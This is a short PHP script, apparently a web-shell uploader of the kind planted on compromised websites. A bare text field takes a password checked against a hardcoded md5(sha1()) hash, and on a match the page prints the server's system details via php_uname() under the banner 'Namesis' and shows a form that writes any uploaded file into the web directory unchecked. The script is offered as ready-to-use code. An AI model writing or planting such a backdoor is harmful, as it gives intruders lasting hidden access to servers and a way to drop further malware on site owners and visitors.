Upload files with login md5 sha1

<?php

session_start();

if($_SESSION["adm"]){

echo '<b>Namesis<br><br>'.php_uname().'<br></b>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Success !!!</b><br><br>'; }   else { echo '<b>Upload Fail !!!</b><br><br>'; }}

}

if($_POST["p"]){

$p = $_POST["p"];

$pa = md5(sha1($p));

if($pa=="e6978606b39ba0d5ebf658799df6ba34") //CRACKING

{

$_SESSION["adm"] = 1;

}

}

?>

<form action="" method="post">

<input type="text" name="p">

</form>